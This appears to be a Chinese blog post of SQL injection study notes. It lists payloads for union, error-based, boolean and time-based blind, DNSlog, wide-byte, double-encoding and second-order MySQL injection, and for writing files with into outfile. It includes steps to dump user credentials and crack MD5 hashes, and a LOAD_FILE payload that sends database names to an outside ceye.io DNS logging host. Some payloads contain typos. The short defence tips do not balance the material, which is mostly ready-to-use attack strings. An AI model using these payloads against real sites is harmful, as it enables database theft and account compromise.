<web渗透-mysql注入方法>

(1) .扫描后台工具

御剑扫描后台信息
其他后台扫描工具

(3) .联合查询注入
SQL语法中的 union select
会同时执行两条查询语句
将查询结果拼接在一起
两张表必须列数相同

--判断表中列数
  '使用order'
   -?id=1 order by 1/2/n
    试出列数n
  
  '使用联合查询'
   -?id=1 union select 1,2,3,4,...,n 
   -?id=1 union select null,null,null,null,...,n 

--显示构造语句内容
  '将原查询语句置成false'
   -?id=1 and 1=2 union select 1,2,3,4,...,n 
   -?id=-1 union select 1,2,3,4,...,n 

   
--构造语句获取内容
  '从得到的页面消息中修改构造SQL'
    -?id=1 and 1=2 union select version(),2,database(),4,...,n 

--'从系统数据库中获取表名'
   -?id=1 and 1=2 union select table_name,2,3,4,...,n 
     from information_schema.TABLES where tanle_schema=database()

   如果出现字符段不匹配
    使用函数  hex(table_name) 替换table_name

.获取全部表名
   hex(group_concat(table_name))


.获取用户表中字段
   -?id=1 and 1=2 union select hex(group_concat(columns_name)),2,3,4,..
    from information_schema.columns where tanle_schema=database()
     and table_name=0x(表名)  //表名转成16进制
               //0x544f4d
               

.获取用户表账户信息
   -?id=1 and 1=2 union select concat(username,password) from 用户表
 
   .MD5破解加密密码

(4) .报错注入

 让数据库相关错误信息显示出来
   
   group by 重复建冲突

1.floor报错

  and (select 1 from
     (select count(*),concat(('select version()' from information_schema.TABLES limit 0,1)
    ,floor(rand()*2))x from information_schema.TABLES group by x)a)
   
  and (select count(*) from information_schema.tables group by 
     concat(0x7e,(select version()),0x7e,floor(rand(0)*2)) ) 


2.Xpath报错
extractvalue() :对XML文档进行查询的函数

 其实就是相当于我们熟悉的HTML文件中用 
  <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

 ? id=3 and extractvalue(1,concat('^',('select version()'),'^'))



3.updatexml
pdatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法:updatexml(目标xml文档,xml路径,更新的内容)
 ?id=3 and updatexml(1,concat('^',('select database()'),'^'))#

.000000000000000 .绿色部分select version/database 就是构造的查询部分

(5).盲注

页面不会显示数据库相关的数据,也不会回显错误信息

1.布尔盲注
只返回 Right 或者 Wrong
通过数据包的大小
从而帮助我们判断测试信息是否正确
?id=1%27 and left((select database()),1)=‘s’ %23

2.时间盲注
返回的页面信息无法帮助判断正确与否
从而通过页面响应的时长,
来进行判断right或者wrong

 ?id=1 and if(left(user(),1)='a',0,sleep(3));  

3.Dnslog盲注

   Dnslog平台: http://ceye.io/

   目标服务器必须是Windows系统
    ?id=1 and LOAD_FILE(concat('\\\\',(select database()),'mysql.lb5saq.ceye.io\\abc'))%23

(6).宽字节注入
php使用utf8单字节编码
数据库使用gbk等双字节编码
注入在被过滤时会被加上\变为’ ’
而数据库变为双字节时
%df\ 编码会当成一个字符处理
主要为消灭处理时自动添加的\

  %df%27 union select 1,(select database()),3 %23 
  
  防御:
   1. 数据库和php都使用utf-8单字节编码,避免宽字节注入
       不仅在gbk,韩文,日文等都是宽字节,都有可能存在宽字节注入漏洞
   2. 使用 mysql_real_escape_string 函数时
       设置 mysql_set_charset('gbk',$conn);
   3. 可以设置参数 使用 
        character_set_client=binary
        二进制形式连接

(7).二次编码注入
二次编码注入:

  urldecode()与PHP本身处理编码时,两者配合失误,可构造数据消除\

【】正常处理流程

用户输入   PHP自身编码 转义    带入SQL      结果
id=1%27  id=1'      id=1\‘  id=1\’ and  不能注入  '

【】非正常处理
用户输入 PHP自身编码 转义 函数编码 带入SQL 结果
id=1%2527 id=1%27 id=1%27 id=1’ id=1’ and 可注入

(8).二次注入

原理:二次注入需要具备的两个条件:

(1)用户向数据库插入恶意语句
(即使后端代码对语句进行了转义,
如mysql_escape_string、mysql_real_escape_string转义)

(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户

例如:
 sqli-24
   注册信息时
    Desired Username: 
           admin'#        '
   或者     1' union select 1,2,3 #     '
   或者      ....
数据库查询语句 "select * from where username='1' union select ... #'  "   ''
   !注意的是要考虑字符类型的长度是否满足
  
  能够执行sql语句
  也可使用Dnslog注入

防御:
  对外部提交的数据,需要更加谨慎的对待
  程序内部的数据调用,也要严格的进行检查

() .文件操作

数据库必须具有写入文件权限
数据库变量
secure_file_priv

 union select 1,'123',2 into outfile "c:\\1.txt"

.判断方法

【1】猜测后台执行语句

   ? id=35 +1/-1 判断是否有变换
  


【2】数据类型判断
   ? id=35'  '添加单引号,判断字符型还是数字型


    ->报错中不含有35是数字型
    ->报错中含有35是字符型

【3】布尔类型判断
   ? id=35 and 1=1
   ? id=35 and 1=0
   
    ->是否有报错

【4】是否有延时
   ? id=33 and sleep(4) 

.00000 .若存在上述其中一种便可能存在SQl诸如漏洞 0000000

.01010101010 .口诀 101010101010

是否有回显 联合查询
是否有报错 报错注入
是否由布尔类型 布尔盲注
延时注入

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值